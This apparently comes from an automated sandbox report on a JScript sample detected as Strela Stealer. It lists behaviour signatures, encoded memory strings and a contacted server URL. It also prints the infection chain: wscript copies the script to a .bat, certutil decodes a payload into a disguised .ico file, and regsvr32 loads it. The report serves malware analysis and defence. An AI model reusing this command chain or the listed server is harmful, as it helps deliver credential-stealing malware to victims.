Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 650 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\System32\regsvr32.exe API coverage: 4.5 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6476 Thread sleep count: 2778 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6476 Thread sleep count: 650 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2496 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: wscript.exe, 00000000.00000003.1624787924.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1627801639.000002360BA31000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1624581776.000002360B939000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1624662286.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1626812055.000002360BB31000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1629087296.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1626643177.0000023609BE1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1624846199.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1624919840.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 00000006.00000003.1639651754.000001F228648000.00000004.00000020.00020000.00000000.sdmp, file.js, deepdidacticfour.1.dr Binary or memory string: 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
Source: wscript.exe, 00000000.00000003.1624787924.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1627801639.000002360BA31000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1624581776.000002360B939000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1624662286.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1626812055.000002360BB31000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1629087296.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1626643177.0000023609BE1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1624846199.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1624919840.000002360B96E000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 00000006.00000003.1639651754.000001F228648000.00000004.00000020.00020000.00000000.sdmp, file.js, deepdidacticfour.1.dr Binary or memory string: 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tT0xTbmd6bG9WS0JuckNCZHBramZTSVVNeU9Ib2ZIQmdPUVlLZU1RV1hUTHJFVXNhWENWdbaSiJxqZFJvYkNIYXhIZm9oYWtXdE9zaGtac3RHT0dhcUhPbnNlUVhSVXBURHpFSHJTaUJzQ2lBUGhwRWt4a1lY4K9B3UlmT0dnaU1jT3FQcVFQR2N4WkNoYlJQd1FBS01QUk1ZbFV5dWhQSlljS1lCUFNjYXZMSFFrc1FGbmZvvw1XniW9jZttamNrcHpxSJu7u7dtWHd2YWZKd1ZPYWZ2bUJiVXZNcWFVRFVYWFBnkYycjkBtZ21BRVdjekF2cmRxU2J1UFpualB3UXJVcFhnakp4d0VaUnZVWXZ6b0NWbXpaZ3lHYUlCclhlUFhGVXJDTVpsQk1kZmdEWHdjbXh5a3FPQUFxR0FTUHBldEZBVW9PcVhGTElMcENpQ2JESVRcdURidVFpXHJJdWlUWllkV3llVUZwRkRRa1VMVXVoWk9zdUpJT09CWHBGSGR1eUdMR0pwdFZmZHp0Z1hlc3pXV0FvcExzdnhHVnlNY09tSUZMaVR4R0dSWndkV1ZXTG1nTUNTc2ZBT3dSd1V
Source: C:\Windows\System32\wbem\WMIC.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00007FFE102314B0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress, 8_2_00007FFE102314B0
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k copy "C:\Users\user\Desktop\file.js" "C:\Users\user\\stiffrelievedawesome.bat" && "C:\Users\user\\stiffrelievedawesome.bat" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_operatingsystem get oslanguage Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\find.exe find /i "1033" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr /V joyousintroducebreezy ""C:\Users\user\\stiffrelievedawesome.bat"" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\certutil.exe certutil -f -decode deepdidacticfour childlikeclearintroduce.ico Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell regsvr32 childlikeclearintroduce.ico Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" childlikeclearintroduce.ico Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Strela Stealer
Source: Yara match File source: 8.2.regsvr32.exe.7ffe1023e734.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.regsvr32.exe.7ffe1023e734.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.regsvr32.exe.7ffe10230000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.1705298103.00007FFE1023E000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1705219928.0000000002B81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: regsvr32.exe PID: 5460, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Strela Stealer
Source: Yara match File source: 8.2.regsvr32.exe.7ffe1023e734.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.regsvr32.exe.7ffe1023e734.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.regsvr32.exe.7ffe10230000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.1705298103.00007FFE1023E000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1705219928.0000000002B81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: regsvr32.exe PID: 5460, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1417160 Sample: file.js Startdate: 28/03/2024 Architecture: WINDOWS Score: 100 33 Found malware configuration 2->33 35 Antivirus detection for URL or domain 2->35 37 Multi AV Scanner detection for submitted file 2->37 39 6 other signatures 2->39 8 wscript.exe 1 1 2->8         started        process3 signatures4 41 JScript performs obfuscated calls to suspicious functions 8->41 43 Wscript starts Powershell (via cmd or directly) 8->43 45 Windows Scripting host queries suspicious COM object (likely to drop second stage) 8->45 47 Suspicious execution chain found 8->47 11 cmd.exe 4 8->11         started        process5 file6 27 C:\Users\user\stiffrelievedawesome.bat, ASCII 11->27 dropped 49 Wscript starts Powershell (via cmd or directly) 11->49 15 certutil.exe 2 11->15         started        19 powershell.exe 7 11->19         started        21 WMIC.exe 1 11->21         started        23 3 other processes 11->23 signatures7 process8 file9 29 C:\Users\user\childlikeclearintroduce.ico, PE32+ 15->29 dropped 31 Drops PE files to the user root directory 15->31 25 regsvr32.exe 19->25         started        signatures10 process11
⊘No contacted IP infos

Contacted URLs

Name Malicious Antivirus Detection Reputation
45.9.74.12/server.php true
  • Avira URL Cloud: malware
 low